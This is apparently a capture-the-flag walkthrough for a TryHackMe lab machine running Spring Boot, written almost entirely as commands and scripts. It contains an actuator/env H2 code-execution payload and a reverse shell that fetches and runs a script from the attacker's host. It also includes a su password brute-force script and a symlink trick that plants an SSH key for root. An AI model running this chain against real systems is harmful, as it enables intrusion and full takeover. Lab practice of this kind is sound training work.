Spring
Last updated
Last updated
Room Link: https://tryhackme.com/room/spring
Kali
nmap -A $VICTIM
Kali
nmap -sV -sT -O -p 1-65535 $VICTIM
Kali
gobuster dir -u https://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
Kali
subl /etc/hosts
Kali
gobuster dir -u https://spring.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
Kali
gobuster dir -u https://spring.thm/sources -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
Changed the wordlist
Kali
gobuster dir -u https://spring.thm/sources/new -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt -x php,html,txt -k
Kali
pip install git-dumper
mkdir git
git-dumper https://spring.thm/sources/new/.git/ git/
cd git
git log
grep -r pass *
Kali
git diff 92b433a86a015517f746a3437ba3802be9146722 1a83ec34bf5ab3a89096346c46f6fda2d26da7e6
Kali #1
tcpdump -i ens5 icmp
Kali #2
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
reverse.sh
bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"
Kali #1
python3 -m http.server 81
Kali #2
nc -lvnp 1337
Download payload
Kali #3
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
Run payload
Kali #3
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
Get autocomplete
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
We found one password within environment variables
Victim
env
At this point we have two passwords that are very similar, neither of them are the password for johnsmith to login, the format is PrettyS3cure${keyword}Password123.
PrettyS3cureKeystorePassword123.
PrettyS3cureSpringPassword123.
su_brute_force.sh
#!/bin/bash
set -m #enable job control
export TOP_PID=$$ #get the current PID
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT #exit on trap
# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
# something to look at while waiting
function progressbar {
let _progress=(${1}*100/${2}*100)/100
let _done=(${_progress}*4)/10
let _left=40-$_done
_done=$(printf "%${_done}s")
_left=$(printf "%${_left}s")
printf "\rCracking : [${_done// /#}${_left// /-}] ${_progress}%%"
}
function brute() {
keyword=$1 #get the word
password="PrettyS3cure${keyword}Password123." #add it to our format
output=$( ( sleep 0.2s && echo $password ) | script -qc 'su johnsmith -c "id"' /dev/null) # check the password
if [[ $output != *"Authentication failure"* ]]; then #if password was correct
printf "\rCreds Found! johnsmith:$password\n$output\nbye..." #print the password
kill -9 -$(ps -o pgid= $TOP_PID | grep -o '[0-9]*') #kill parent and other jobs
fi
}
wordlist=$1 #get wordlist as parameter
count=$(wc -l $wordlist| grep -o '[0-9]*') #count how many words we have
current=1
while IFS= read -r line #for each line
do
brute $line & #try the password
progressbar ${current} ${count} #update progress bar. TODO:calculate ETA
current=$(( current + 1 )) #increment
done < $wordlist #read the wordlist
wait #wait for active jobs
Kali
cat /usr/share/wordlists/rockyou.txt | grep -E ^[A-Z][a-z]+$ > capitalized_words.txt
Victim
wget http://$KALI:81/capitalized_words.txt -O /tmp/capitalized_words.txt
wget http://$KALI:81/su_brute_force.sh -O /tmp/su_brute_force.sh
chmod +x su_brute_force.sh
time bash su_brute_force.sh capitalized_words.txt
Victim
su johnsmith
Password: PrettyS3cureAccountPassword123.
Kali
ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub
Victim
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2vjG2ZoKfoNoEF1ASSVX+M2hwD5g0PmUajFDBoDGrjM63T38/cadEHbJXgH8YS6syNLsf+mnSVeF9yWIeMLjfaeoIWE9UPCmS5OuPC2ZiAf+zTvo7X+OjnQKmHmNsQYJ8lhg24g3Gpw5rWreteGTMfmFPRBDNEX6J3JsNCdhoTjAhyRRRouUM9oMw1Yl4YcRAcK8xPU8ZuE6lk3kqzrrPhaCOafTdHvBKS+Q0Bn/Cq7V0ltBWkaSHIWRc50dMfwFHPR5DlYpuN6cOyIeF2L1LTcyPNmeeD/Na1d1RlRLL3HKNSW02T1z3hUAZTdmgEUvwz726qloHUmd8Hxo0Kq0j root@ip-10-10-228-158" > /home/johnsmith/.ssh/authorized_keys
Kali
su johnsmith@$VICTIM
Victim
vi /home/johnsmith/tomcatlogs/getroot.sh
getroot.sh
#!/bin/bash
#generate ssh key if it does not exists
[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
#read public key
pubkey=$(cat ./key.pub)
#send a shutdown request to the spring boot server
curl -X POST https://localhost/actuator/shutdown -H 'x-9ad42dea0356cb04: 172.16.0.21' -k
#get date as epoch format
d=$(date '+%s')
#let's assume 30 seconds is enough to restart the service
for i in {1..30}
do
#create symlinks to /root/.ssh/authorized_keys for 30 seconds
let time=$(( d + i ))
ln -s /root/.ssh/authorized_keys "$time.log"
done
#wait for app to restart
sleep 30s
#send publickey as name to the greating server
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s
#connect as root
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhost
Victim
bash getroot.sh